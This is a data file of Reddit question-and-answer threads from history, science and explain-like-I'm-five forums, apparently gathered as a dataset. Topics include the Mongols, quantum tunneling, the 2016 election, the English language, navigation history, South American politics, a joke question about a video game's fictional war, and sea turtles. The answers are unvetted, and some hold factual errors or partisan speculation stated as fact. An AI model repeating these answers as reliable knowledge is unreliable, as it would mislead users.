{"q_id": "30nuuy", "title": "Ghengis Khan's Mongol army included Buddhists, Muslims, and Christians. Did it ever include any Jews?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/30nuuy/ghengis_khans_mongol_army_included_buddhists/", "answers": {"a_id": ["cpu87iz", "cpue3kf"], "score": [174, 188], "text": ["**Commenters:** You'll surely notice there are a lot of deleted comments already. Please make sure that, when answering questions on /r/AskHistorians, you are first familiar with the rules of the subreddit.\n\nAnswers are expected to be informative and comprehensive. This means providing more than just links to Wikipedia, and providing answers that you could back up with sources if asked.\n\nPlease keep this in mind when commenting.", "Michael Burgan's History of the Mongols mentions their interaction with Persia and Judaism. For most of history, Islamic societies have been tolerant of Jewish and Christian practitioners, seeing them as fellow \"people of the book.\" Burgan discusses the large Jewish minority in Persia, which conquered by the Mongols. Like you alluded to, he also goes into depth about how the Mongol army expanded by recruiting conquered peoples after their defeat.    He talks about one Jew, Sad al-Daulat, who was an official in the Mongol government who enforced the law. Specifically, he wrote, \"Mongols came into contact with Judaism through their conquest of Islamic lands. Jews had lived in such cities as Baghdad for generations, and sometimes held important positions. Jews [after the Mongol conversion to Islam] who converted to Islam had the greatest chance of success under the Islamic Empire, and later under the Mongols.\" I can't give you any specific examples of Jewish soldiers unfortunately, but there were certainly Jewish residents of the Mongol Empire, many of whom served in government. Given the Mongols' tolerance for different religions and tendency to incorporate conquered peoples into their army (especially Persians), once can probably assume Jews served in their army.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.mysocialstudiesteacher.com/wiki/classroom/Empires/Mongols.pdf"]]}
{"q_id": "hsgi7", "title": "Can anyone explain the aspect from quantum theory that gives the possibility that if I throw a ball at a wall, there's a one in a gazzilion chance that it will go through the wall?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hsgi7/can_anyone_explain_the_aspect_from_quantum_theory/", "answers": {"a_id": ["c1xzcv7", "c1xzdxw", "c1y0gvf", "c1y10ct"], "score": [14, 62, 5, 3], "text": ["My guess is that it isn't really a \"theory\" *per se* but a hand waving explanation that has gotten out of hand in the public imagination.\n\nYou see if you have an electron with 5 eV of energy and it's facing a repulsive barrier of height 10 eV of energy that is some finite thickness, there exists some possibility that you can still detect the electron as being on the \"wrong\" side of the barrier. It's an effect called quantum tunneling, and in a way, it's related to the fact that you can't be *entirely* sure the electron has 5 eV of energy exactly, or whatever momentum exactly. \n\nSo when you scale this up and say that every electron and proton and neutron in an atom then has a probability of tunnelling past every electron proton and neutron in a wall, and somehow maintaining its configuration through that passing? almost entirely impossible. But someone thought it was a cute *analogy* to say that the electron is like a ball and the repulsive barrier like a wall, it'd be *like* the ball passing through the wall.", "There's not really any *single* aspect of quantum physics that could interpreted that way. Rather, there are a variety of paths you can take that lead you to that place.\n\nFor example, consider the ball-wall system as a metaphor for a particle on one side of a potential \"wall.\" It's possible, under the right circumstances, for the particle to appear spontaneously on the other side of the \"wall.\" This is called quantum tunneling, and it's essentially the basis of \u2026 well, *chemistry,* really. So it's rather a big deal.\n\nOr you can think of the ball-wall interaction as a scattering process. When a particle gets into a situation in which it can scatter off something, there exists a probability that it *won't* scatter, and instead will just pass right by as if the thing weren't there at all. So in a sense, all the particles in your ball could just *fail* to interact with the wall, thus slipping through it like smoke through a piece of cloth.\n\nThen there's the uncertainty principle. The momentum and position of a particle are Fourier transforms of each other. That means when the momentum is highly localized to a specific value, the position of the particle is spread out over all of space. Which means there exists some probability of detecting the particle a squillion miles from where it was one instant ago.\n\nBut it's important to remember that macroscopic things \u2014\u00a0where macroscopic isn't rigidly defined, but instead is really rather circularly defined \u2014\u00a0don't behave that way. An electron will tunnel readily out of a potential well. A cricket ball will not tunnel through a cricket bat, no matter how hard the batter protests that he *really did* hit it.", "The larger the object is, the more unlikely it is to tunnel. Nuclear decay is actually a good example of tunneling, even though it isn't through an object, it is overcoming a potential energy barrier. The particles (proton, neutron, what have you) can overcome strong force keeping the nucleus together and speed off. This is more or less spontaneous and cannot be predicted. As said above, uncertainty also plays in, so there is a chance that when you stop asking the particle where it is, it will be in the area past the wall. \n\nIn keeping with tradition, I'm not writing equations. But it is dangerous to go out there alone, so take this: _URL_0_", "You, and your entire family tree, would win the powerball lotto everyday for millenia before you could even get a bacterium to tunnel through a sheet of graphene.\n\nHowever, if time is infinite and the universe never falls apart (proton decay, heat death etc) and space time stops exapnding, you will sooner or later get galaxies tunneling through other galaxies. The time it would take for this to happen is unspeakably large and utterly meaningless to ponder."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://hyperphysics.phy-astr.gsu.edu/hbase/quantum/barr.html#c1"], []]}
{"q_id": "5sawko", "title": "which evidence exists that proves russia interfered in the 2016 presedential election?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5sawko/eli5_which_evidence_exists_that_proves_russia/", "answers": {"a_id": ["dddo0dn", "dddtj7q", "dddtva3", "dddu9qn", "ddduazk", "dddunfr"], "score": [14, 12, 2, 10, 17, 5], "text": ["Evidence hasn't been exposed as of yet. That doesn't mean it doesn't exist. There is huge speculation that it is being suppressed by powers in the US and Russia that have an interest in Trump remaining President. Here are some good links for you to make your own determination.\n\n_URL_1_\n\n_URL_4_\n\n_URL_2_\n\n_URL_3_\n\n_URL_0_", "Even if they are the ones that hacked the emails of the of the clintons campaign manager I don't see it as interfering.  They exposed some shit they shouldn't have been doing.  They didn't lie, they didn't tamper with voting procedures, they didn't threaten or coerce.  \n\nBut if that sale of the russian oil company leads back to trump we need to impeach immediately. ", "ThreatConnect gave a good layout of the evidence at the Washington DC cyber security conference in January. \n\n_URL_0_\n\nI recommend watching. \n\nEdit: this is evidence of the DNC hack, not necessarily election tampering though.", "Whilst Russia probably did help with hacking into the DNC, it's largely an irrelevance. \n\nRemember, the real issue that swung the last minute votes towards Trump was the FBI re-opening the Hillary Email question, after finding more of them whilst investigating Anthony Weiner's computer, and thus causing outrage on one side, and suspicion on the other; Combine that with Hillary being a poor choice of candidate and an exceptionally poor campaigner, who managed to lose the Electoral College whilst winning the Popular Vote despite losing millions of former Obama voters, and you got a situation where almost all the major players in the US Establishment helped lead towards Trump winning on the basis of a few swing states.\n\nAnd they're *desperate* to forget that now. Including the FBI and CIA, John McCain and the Republican Party, and everyone else who Trump has rapidly alienated within days of becoming President Elect. So it's \"Russia, Russia, Russia, RUSSIA\" all the time now. Far easier to blame all powerful, all evil Commies in America rather than face your own political culture has finally started sliding into outright fascism.\n\nAfter all, Russia didn't actually *want* Trump to become President;\nI would recommend reading Dr Mark Galeotti's Blog, [\"In Moscow's Shadows\"](_URL_0_) for an expert's opinion. Moscow disliked Hillary because she was much more Hawkish than Trump, but still expected her to win, and be a far more realistic politician overall; their aim in boosting Trump was to weaken a Hillary Presidency and constrain her ability to interfere with Russian actions by having a closely divided electorate at her back. They, like many protest voters in the US, assumed Trump was such an outsider he couldn't possibly win and risked a punt on him to make a point. Except, he *did* win.  And now Moscow, like everybody else, is in uncharted waters...\n\nOf course, *now* Putin is rapidly scrambling to make common cause with Trump: because Putin is an extremely brutal realist and will change tactics if need be in order to serve his always primary goal; doing what is best for The Motherland. But there are plenty of people within the Russian Deep State too that are really, really *worried* they can't predict where things go from here. Seriously, read that blog for an actual informed opinion on Russian politics; what you're getting about \"Russian Interference With Our Elections!\" is largely bullshit for the US market. \"Don't blame us, blame the big bad bear for Trump!\"", "There really isn't any, the way the emails were hacked was done very simply through a phishing scam, were a person sends a fake email pretending to be someone else, in this case google, in order to fool the person into giving away their Password. Podesta fell for this, I think after someone in his campaign said it was a legitimate email. One of the only things I've seen was that they said the email originated from an IP from Russia, however if anything this is evidence against Russia being responsible, because hiding the location of an IP would be the easiest and first thing a hacker would look to do. The reports that were done never provided evidence, they just asserted that Russia was involved. Recently, the ex-ambassador to Russia from Britain said that he had gotten the emails from a disgruntled Clinton aide, of which he then gave them to Wikileaks. He also mentioned that the CIA couldn't know who did it because if they did, there would be some actions being taken. Obviously the ambassadors comments can't be fact checked but at least there is a name to that claim.\n\nEdit: Spelling mistake", "There's been no evidence released. \n\nWikipedia claims the Russians were not they're source. \n\nPodesta sends to have fallen for a simple phishing attack with their weekend IT tech encouraging him to click the link. \n\nThe fbi never looked at the dnc server, instead they took the word of a company run by a Ukrainian refugee hired by HRC. \n\nAll that said, the Russians, like any country, the U.S. included, do their best to ensure foreign regimes are the least hostile so if they weren't trying to influence the election, they weren't doing their jobs. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.telegraph.co.uk/news/2017/01/27/mystery-death-ex-kgb-chief-linked-mi6-spys-dossier-donald-trump/", "https://www.documentcloud.org/documents/3259984-Trump-Intelligence-Allegations.html", "http://uk.businessinsider.com/carter-page-trump-russia-igor-sechin-dossier-2017-1?r=US&amp;IR=T", "http://mobile.reuters.com/article/idUSKBN1582OH", "http://www.foxnews.com/world/2017/02/05/russian-arrests-spur-questions-over-links-to-us-hacking.html"], [], ["https://ia601506.us.archive.org/2/items/ShmooCon2017/ShmooCon2017%20-%20DoesABearLeakInTheWoods.mp4"], ["https://inmoscowsshadows.wordpress.com/"], [], []]}
{"q_id": "iaac4", "title": "Is English provably more diverse than other languages or otherwise 'special'?", "selftext": "I've heard it claimed that modern english is special in various ways.   Among the claims are that it has a larger vocabulary than any other language, that it's more open to incorporating non-english words, etc.\n\nAre there any truth to these kinds of claims? or is it just linguistic chauvinism?  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/iaac4/is_english_provably_more_diverse_than_other/", "answers": {"a_id": ["c2262vo", "c2266u7", "c2268or", "c226ehd", "c226i93", "c226stf", "c227zay", "c228ygm"], "score": [115, 12, 15, 3, 10, 10, 6, 2], "text": ["As a phonetican, a linguist who specializes in speech sounds, let me give you my opinion.\n\nYes, English has several characteristics that are uncommon in the large scheme of things. Phonetically, an example is the alveolar approximant \"r\" sound that is so hard for a lot of ESL learners. It's an exotic speech sound in the world's languages. Additionally, English is uncommon among Germanic languages for having lost most of its case markers over the ages and seems to have taken a very different turn from most Germanic languages due to English's extensive contact with French.\n\nAs for incorporating more foreign loanwords, all languages bring in loanwords if they have contact with other languages or dialects. English may or may not bring in more, but that is more related to the fact that English is currently viewed by a lot of the world as *the* language they must learn, so English is widespread enough to be in contact with many different languages/dialects constantly.\n\nSo, does English have things that make it \"special\"? Of course. Every language does. Does that make English better? Not at all.\n\nOn the topic of \"larger vocabulary\" though- linguists don't really have a determining factor for how large a language's vocabulary is. A list of English words is not really descriptive of anything if the majority of English speakers don't know the words in the list and don't use them on a daily basis. There's a big difference between a speech community's working vocabulary and what prescriptive lexicographers claim is part of English's set of words that are \"ok to use.\"\n\nAll languages are equally capable of communication. We don't even really have a good definition of a \"word\" so much as we have a definition of \"morpheme.\" Polysynthetic languages make entire sentences into single words. Is that a single vocabulary item? Or is it many? People argue about these things, but all the linguists I know don't concern themselves with it, because they know that it doesn't matter. Language just **is**.", "One thing I have noticed is English is very terse.\n\nWhenever you see a sign in multiple languages, the English is almost always going to be the shortest sentence among the ~~character~~ letter based languages.\n\nPerhaps this has contributed to its popularity.", "English does indeed have the largest vocabulary of any modern language (in terms of raw vocabulary). English is unique in that it is the closest to a global language we have right now. Because of this, you get a lot of people who speak a kind of pidgin English when they're from different countries and don't share a common native language (i.e. Spanish speaker talking to someone Chinese). This flexibility in English also stems from England and America's imperialistic past. The more countries / speakers that speak a language, the more likely it is to be influenced by another and as long as the dialects remain mutually intelligible (which they do, thanks in part to digital communications and globalization), it's easier for the changes to spread to other dialects. Globalization also helps a lot since English is already the defacto language for the sciences and business (among other things) so it has spread extensively (and in many realms). The English language had perfect timing for catching on and has been the language of the biggest super powers for the longest time in modern history (England during their imperialistic period and the US after it overtook England as the biggest super power and especially during the reconstruction after WWII). There is also a phenomenon known as \"linguistic imperialism\", which basically states that certain countries want their language to spread since it means their culture and propaganda spreads with it, which explains why the US continues to sink money into the VoA and England continues to sink money into the BBC's international / English learning stuff. It also explains why certain countries such as China and North Korea resist English vocabulary as much as possible (like, \"science\" entered China as a transliteration of the word, but was later sinicized to something unrelated pronunciation-wise, but the Taiwanese tend to sinicize fewer words), while others seek to add English words or add them out of convenience (Taiwanese, Japanese, Korean, etc.). English speaking countries want their language to spread, and by spreading and remaining intelligible to other English speakers, it changes the standard language or at least the changes enter as acceptable changes.\n\nTL;DR: Yes, but it's because of a perfect storm of imperialism, globalization and it being such a big lingua franca.", "I read this [article](_URL_0_) a few years ago. I think it's what you're looking for. ", "I think most languages have things that are special about them - just like most people have talents and weaknesses. My co-teacher here in Korea is convinced that Korean is an easier and better language than English. I'm from the same school of thought as Kinbensha (all languages are equal, just different). I've explained to him that Korean's easier for him because he learned it as his brain was first deciding how to organize thoughts, thus it has had an impact in shaping the very way he thinks. \n\nHowever, I have to admit that their alphabet makes a hell of a lot more sense than English. The Hangul letters for the most part represent standard pronunciation which actually follows spelling rules (must like French, Spanish, and German as opposed to English). Furthermore, there is a clear distinction between voiced and voiceless consonants that makes learning them so easy I did it on the plane ride over here. Koreans are very proud of Hangul (their alphabet) and rightfully so - unfortunately, since the letters are arranged into syllabic characters, it makes many sound combinations impossible. \n\nFor example, a word like \"strike\" cannot be spelled out in Hangul as a one-syllable word because: 1) No syllable can begin with more than one consonant sound 2) Dipthongs must be expressed separately, and 3) To express the \"k\" sound at the end it requires a vowel. Thus, the six-letter, one-syllable English word \"strike\" becomes FIVE SYLLABLES (\uc2a4\ud2b8\ub77c\uc774\ud06c)!!! \n\nThat, combined with the fact that Korean has far fewer phonemes than English does, leads me to believe it either has a much lower vocabulary or much more homophonic overlap. I don't know enough to state that with any authority, though. I'm still just learning the language and have been corrected on Reddit many times for misunderstanding it.", "The Oxford English Dictionary has over 250,000 distinct words, not including technical or slang words (medical terminology, 1337speak, etc) making English one of the most massive languages in history in terms of vocabulary.  This is due in part to the fact that it doesn't have one direct origin--many cultures and languages contributed to what is now modern English.  I am not a linguist, I majored in English and studied a lot of the history of the language, so I won't say that it is more special than any other language, but it is unique in its complexity and reach due in large part to the empires that adopted it and the fact that many counties have designated it as lingua franca.  While English is probably the most widely spoken language, there are more native Spanish and Mandarin Chinese speakers.  English was a bunch of different germanic dialects that we know call Old English.  It's pretty rough and guttural stuff, and isn't really recognizable as English.  Think Beowulf.  In 1066 the Normans invaded what was then the homeland of the Angles and introduced Norman French, which ended up making English look more like the romance languages.  Around the 15th century we had something different, you could call it Middle English, and it was much more fluid and mellifluous.  Read the Canterbury Tales for an example.  People started putting together dictionaries and establishing spelling standards for words, but the vocabulary continued to blossom as the British Empire expanded.  Shakespeare alone contributed about [1,700 new words](_URL_0_) to the language, words like assassin (Play:Julius Cesar, he derived it from a word used in the middle east to describe killers that targeted prominent figures and used hashish to pump up their courage before killing).  Though I should say that some of those words may have been used in conversation before Shakespeare, they were first identified in his writing, and he certainly had a role in popularizing them.  All of that aside, I'd say that the political importance of having a common language to unify the colonies played the greatest role in the universality of English.\n\nEDIT: The word assassination was first used in Macbeth, in 1605.  Julius Cesar was a bit later.  ", "Wow. I think this may be the most interesting thread I've ever read. Thanks to everyone who contributed such fascinating answers and to the OP for asking such a good question. My mind is blown.", "English vocabulary comes mainly from Germanic, Latin and Celtic, and this difference can be noticed (among others) in register. Latin words are generally used in higher register than Germanic words. This is very common in the context of everyday life, like food: compare for example *mutton* (Latin) and *sheep* (Germanic), *veal* (Latin), and *calf* (Germanic). This is due to a social separation: the upper class would eat *calf* and *mutton*, refering to meat in Latin words, and the less fortunate would refer to these living animals as *sheep* and *calf*, which are Germanic words. This is proof of the huge influence French has had on the English language. I'm sure there are other examples (like suffixes coming from Roman languages which, again, often occur in higher registers), but it's 4AM here, and I'm a little bit drunk (oops).\n\nThere is a saying that my linguistics professor told us, that says that \"English is the most Roman of the Germanic languages, and French is the most Germanic of the Roman languages\". That always seemed true to me...\n\nI think influences of other languages have made English the way it is. Languages like Latin, Germanic, and Celtic. Although, I don't think its influence comes from different accents, and the native languages of its speakers (Mandarin, French, German, Italian, etc.). This kind of influence is not integrated *in* the language - yet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.economist.com/node/15108609?story_id=15108609"], [], ["http://www.nosweatshakespeare.com/resources/shakespeare-words.htm"], [], []]}
{"q_id": "1e6ssa", "title": "What innovations can be seen as game changers throught the history of navigation, and how so?", "selftext": "My question is from the standpoint of someone who would depict naval activity in a historical time or a fantasy setting. Depending on the point in time and technological achievement, I'd guess that a lot could change, including giving a huge advantage over competitors for emerging technology. What I'd like to know is changes such as the speed and manoeuverability of ships, the minimal and maximal number of crewmembers, transporting capacity, weaponry, etc. with some sort of reference to what existed before.\n\nEdit: sorry for the typo in the title.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1e6ssa/what_innovations_can_be_seen_as_game_changers/", "answers": {"a_id": ["c9xfrwx", "c9xfvd3", "c9xq4um"], "score": [5, 2, 2], "text": ["The Chronometer.  \n\nFrom Wikipedia:\n\nA marine chronometer is a clock that is precise and accurate enough to be used as a portable time standard; it can therefore be used to determine longitude by means of celestial navigation. When first developed in the 18th century, it was a major technical achievement, as accurate knowledge of the time over a long sea voyage is necessary for navigation, lacking electronic or communications aids. The first true chronometer was the life work of one man, John Harrison, spanning 31 years of persistent experimentation and testing that revolutionized naval (and later aerial) navigation and enabling the Age of Discovery and Colonialism to accelerate.\n\nBasically, if you know the time, you can know your position longitudinally.  You have a known location that is zero time (GMT).  You can always know when it's noon, so you just see how far off you are and then you will know where you are. mid 18th century.  Helped the British a ton in developing their naval power and in expanding the area that they could influence.", "The [Marine Chronometer](_URL_0_) let sailors work out where on the plane they were , previously they could only work out latitude from solar and star observations.\nIt could be argued that this is one of the things that led the British to be one of the leading naval powers and have such a large empire.", "Salted cod. Without it as a reliable protein source, European sailors could not have traveled to America.\n\nSource: _URL_0_ [However, I haven't read this yet. I've only heard about it. Would be great if someone else who has read it could expand]"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Marine_chronometer"], ["http://www.amazon.com/Cod-Biography-Fish-Changed-World/dp/0140275010"]]}
{"q_id": "2036xl", "title": "Plates and trenchers", "selftext": "Hello. I am trying to find out some information on the year 1398 in Cumberland England. I need to know if what the Lord's and Ladies ate off were called plates. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2036xl/plates_and_trenchers/", "answers": {"a_id": ["cg07hrb"], "score": [2], "text": ["I can't answer off the top of my head, but the sort of sources you'd want to look for to find the Middle English word would be household inventories. Those would have lists of cutlery, crockery, table linens, clothing, etc. Good luck."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ba70m", "title": "the difference between spearmint and peppermint.", "selftext": "I've always seen these two flavors of things and never really understood the difference. I assume there must be some difference, but I have no idea what it is. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ba70m/eli5_the_difference_between_spearmint_and/", "answers": {"a_id": ["c950mwx", "c9525js"], "score": [38, 19], "text": ["Spearmint's a plant, *Mentha spicata.*\n\nPeppermint is a hybrid, the result of a cross between spearmint and another plant in the same genus, *Mentha aquatica,* called watermint.\n\nThey're different plants, in other words, which have similar but different flavors when eaten straight or used as a flavoring.", "Spearmint is sharper on the sides and tip of the tongue than peppermint.  Peppermint is slightly softer and has a spicy/floral component similar to fresh ground pepper hence the name. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1hyxht", "title": "the role of each country in south america. what are their relations with each other.", "selftext": "Awhile ago, I saw this [post](_URL_0_) in which /u/ImAVibration gives a pretty good little overview of the important players in Africa. I was wondering if we can do something similar with the countries of South America. I don't know much about modern South America, or their political situations, as well as how friendly they are to each other so I would appreciate anything I can get. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hyxht/eli5_the_role_of_each_country_in_south_america/", "answers": {"a_id": ["cazilvv", "cazkj8a", "cazmm0r"], "score": [8, 54, 7], "text": ["I can't speak for the other countries, but I can tell you that in Lima, Peru is one of the largest ports in South America.  It is a major hub for trading between Asia and South America as a whole.", "I will do my best to attempt to answer this large question in the style of the other post. In no particular order:\n\n**Brazil** (*Portuguese Speaking*)- Brazil has the largest population in South America, with about 200 million people. Brazil stays relatively closed to the rest of South America and the world in economic terms, this being a contributing factor to slow GDP growth rates. Brazil has for a long time been trying to become the South American hegemon. Currently, there have been several protests in the large cities of Brazil, including the capital Brasilia, Sao Paulo, and Rio de Janeiro. The next World Cup and Olympics will be held in Rio. Brazil's government and police are very corrupt and Brazil also faces the problem of slums, or *favelas*, where there is large amounts of violence. Soccer is a favorite sport in Brazil.\n\n**Venezuela** (*Spanish Speaking*)- Venezuela has large amounts of oil and may have the largest oil reserves in the world. Though logically this would mean wealth for Venezuela and its people, Venezuela suffers greatly from [the resource curse](_URL_4_). Under Hugo Ch\u00e1vez, Venezuela became an antagonist to the United States, with Ch\u00e1vez giving a fiery speech in which he called Former President Bush the devil. Venezuela has also been trying to become the regional hegemon. Currently, Nicolas Maduro is president and there are fears that he will not be able to control the poorer populations, as he does not have the same charisma as Ch\u00e1vez. Baseball is a favorite sport in Venezuela and there are several Venezuelans that play in the US in the MLB. Venezuela has also recently offered asylum to Edward Snowden, the NSA whistleblower.\n\n**Argentina** (*Spanish speaking*)- Argentina is probably the most European of South American countries, retaining a lot of the culture of Spain. Argentina and Brazil have been long time rivals, as is most seen in their race to develop nuclear weapons (they later agreed in the early 1990s, I believe, to not develop nukes). Argentina is also interested in becoming the regional hegemon. Argentina has a large emerging economy and is better off than most Latin American nations. Argentina has produced several famous authors such as Jorge Luis Borges and the current pope, Pope Francis, is Argentinian. The best soccer (football) player in the world, Lionel Messi, is also Argentinian. I believe there were student protests earlier this year but I do not know what they were about.\n\n**Colombia** (*Spanish Speaking*)- Colombia, the nation that connects South America to Central America, has the fourth largest economy in Latin America, despite violence and corruption due to the illegal drug trade (Colombia was formerly the largest producer of cocaine in the world). Probably most well known from Colombia is the guerrilla fighting group FARC (Fuerzas Armadas Revolucionarias de Colombia, Revolutionary Armed Forces of Colombia), which is a Marxist group that has been antagonizing the government for decades. The FARC has participated in the drug trade also. Colombia is the third largest producer of oil in Latin America but still faces the issue of poverty. \n\n**Ecuador** (*Spanish Speaking*; *Indigenous Languages such as Kichwa*)- Ecuador is a large producer of oil, the second largest oil producer in Latin America. The indigenous people of Ecuador have been greatly affected by oil production, as there has been an ongoing lawsuit between Texaco (now Chevron) and the Huaorani people since the early 1990s. Soccer (football) is a favorite sport in Ecuador. Currently, Ecuador is protecting WikiLeaks founder Julian Assange from extradition to Sweden. Assange is residing in the Ecuadorian embassy in London. Just about a week ago, hidden microphones were found in the embassy, raising suspicion from the Ecuadorean government. Ecuador was one of Edward Snowden's first options to seek asylum from. \n\n**Bolivia** *(Spanish Speaking; Indigenous Languages such as Quechua)*- Bolivia is the poorest country in South America. Bolivia has a large indigenous population. The name comes the South American revolutionary hero, Sim\u00f3n Bol\u00edvar. The current president, Evo Morales, is the first indigenous president and is seen by many as Hugo Ch\u00e1vez's figurative successor in terms of ideology. Bolivia has been the victim of the World Bank's structural adjustment programs, which resulted in the price of water going up by about 300% (can't remember exact figure right now) in the early 2000s. Bolivia is currently fighting poverty, as the average yearly income is around $1,200. Recently, President Morales's presidential plane was not allowed into French, Spanish, Portuguese, and Italian airspace because of suspicions that Edward Snowden was on board. President Morales has offered asylum to Snowden. \n\n**Chile** (*Spanish Speaking*)- Chile is one of the most stable nations in South America. Chile also has the strongest and most stable economy of all countries in South America. Chile has produced two of the most influential Latin American authors: Gabriela Mistral and Pablo Neruda. In 2010, an 8.8 earthquake hit chile, trapping several miners for about 2 months. Soccer (football) is a favorite sport in Chile.\n\n----------------------------------------\nThis is meant to be a very general guide to give you a short overview of some of the nations in South America. There is plenty that can be added and supplemented through books, news sources, and various other sources. I am not a professional on South America but I have a large interest in Latin America history and politics (primarily international relations and US relations type stuff) in general. I would recommend you look into how else these nations work with each other through organizations such as [The Organization of the American States](_URL_1_), [Mercosur](_URL_3_), [UNASUR](_URL_2_), and [ALBA](_URL_0_), among others. Hopefully this is what you were looking for and sorry I can't provide info for every single nation (especially Peru, couldn't come up with a lot for it). Feel free to ask questions! ", "If you want to make \"political teams\", they might look something like this:\n\n**Capitalism:**\n* Chile\n* Colombia\n* Peru\n\n**21.-Century-Socialism:**\n* Argentina\n* Bolivia\n* Ecuador\n* Venezuela\n\n**Brazil:**\nIt's... complicated. (40% Capitalism-Team, 60% Socialism-Team)\n\n**Uruguay:**\nI would say, same as Brazil. (40% Capitalism-Team, 60% Socialism-Team)\n\n** Paraguay:**\nSorry, I don't know..."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/explainlikeimfive/comments/1dd3g1/eli5_which_african_countries_play_the_most/"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Bolivarian_Alliance_for_the_Americas", "http://en.wikipedia.org/wiki/Organization_of_American_States", "http://en.wikipedia.org/wiki/Union_of_South_American_Nations", "https://en.wikipedia.org/wiki/Mercosur", "http://en.wikipedia.org/wiki/Resource_curse"], []]}
{"q_id": "30zp5n", "title": "On October 23, 2077, The Great War began. Is there any consensus as to who fired their nuclear weapons first?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/30zp5n/on_october_23_2077_the_great_war_began_is_there/", "answers": {"a_id": ["cpxa19c", "cpxa42m"], "score": [2, 3], "text": ["It was the United States of Russia. Contrary to what Gerance would try to say, it is accepted that among many historians that the USOR was the first one to enter the unlock code on the 8th Generation iNuke and tap the button.", "Recent scholarship from the excavation of Mothership Zeta after its captain, Sally, started to allow Super-Mirelurk/Enclave scientists onboard, that perhaps it was Aliens that inticed the start of the first nuclear waepons fired."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1a8tdh", "title": "Helping endangered sea turtles question. ", "selftext": "So we have all seen the documentaries that show a long stretch of beach somewhere in the tropics with thousands of baby sea turtles climbing up out of the sand and dashing for the ocean. The vast majority of them are eaten by predators before they get to the water. If the population of sea turtles were to drop to dangerously low levels, could we bring a team of conservationists onto a beach to oversee and protect hatchlings and chase away birds and other predators, etc? The number of hatchlings that make it to the water would be huge then. I know that there are many predators in the water as well, but is this a viable option?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1a8tdh/helping_endangered_sea_turtles_question/", "answers": {"a_id": ["c8v4e80", "c8v71s8"], "score": [3, 2], "text": ["Humans have destroyed a lot of rivers with hydropower plants. To compensate for the loss of fish production, we have a lot of fish hatcheries where the eggs are protected from predation and juvenile fish are released into the river at 0+, 1+, or 2+ years (they hatch in the winter and are released in the summer, hence the +).\n\nThese conservation tactics lead to a lot of problems for the fish. First of all, a lot of genetic information is lost. Then, these fish compete with the wild fish for food and may completely destroy the last few remnants of wild fish. Also, migratory fish who are produced from hatcheries are less successful spawners, but they still go to spawning grounds and compete with wild fish so yet again there is a risk of destroying the small remnants that remain of the wild population. \n\nIn short; protecting a species by reducing predation and increasing human protection for the first few years is a bad idea. You should only do this if it is the last remaining option. Kind of like taking a pain-killer if you have broken your leg; it's not going to get better even if you stop the first alarming symptom. \n\n(I'm working on a PhD thesis in this area, could provide you with a looong list of references, but this is the internet and I'm lazy)", "Remember that turtles have evolved to withstand natural predation levels, in that these predators have always been taking eggs or hatchlings from the beach. Part of why turtles are so successful as a group is that they were able to evolve ways of dealing with predation. This is the same for any other predator-prey relationship that maintains a certain balance. Of course these relationships may be thrown out of balance, but on the whole they remain stable over long periods of time. So natural predation, or \"background predation levels\" are not really the problem. For many turtles the real and significant problems come from humans. We add on to the \"background predation levels\" by harvesting eggs, hunting adult turtles or through by-catch fisheries, or pollution or by creating unsuitable habitat for nesting. The difference between us and a natural predator is that: \n\n1. Humans generally take way more then a natural predator would. Say a predator harvests their prey at about 10% of the population per year, humans typically harvest between 40-60% of the population per year.\n\n2. Predators are selective about the age-sex class they take from or from the old/weak. Humans tend to select from every age class and we harvest the strong/fertile. \n\n3. Humans are very new predators for most species and they have not had the time to adapt to our hunting techniques or harvesting levels. \n\n**What are some problems that humans are causing which is effecting *hatchling* turtle survival rates?**\n\n1. Beaches around the world are [covered in lights](_URL_0_) and people, turtles need complete darkness and quiet to lay their eggs. \n\n2. People eat turtle eggs and in many places they are dug up on unprotected beaches. \n\n3. There are more unprotected beaches then protected beaches. \n\n**What are turtle conservation organizations already doing?**\n\n1. Relocating nests in high traffic human beaches to designated turtle beaches. \n\n2. Educating coastal beach communities about either sustainable harvesting or restricted harvesting of the turtle eggs. Educating coastal beach communities about reducing light pollution and beach traffic especially during nesting seasons. \n\n3. Hatching turtles and releasing them when they are a little bit older so that they have a better chance of surviving marine predators. \n\n4. Safe guarding the protected beaches from both human and non-human predators. **e.g. they already protect hatchlings from land predators**.\n\n[Sea Turtle Conservancy](_URL_1_) has more information for you. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.conserveturtles.org/sea-turtle-information.php?page=lighting", "http://www.conserveturtles.org/"]]}
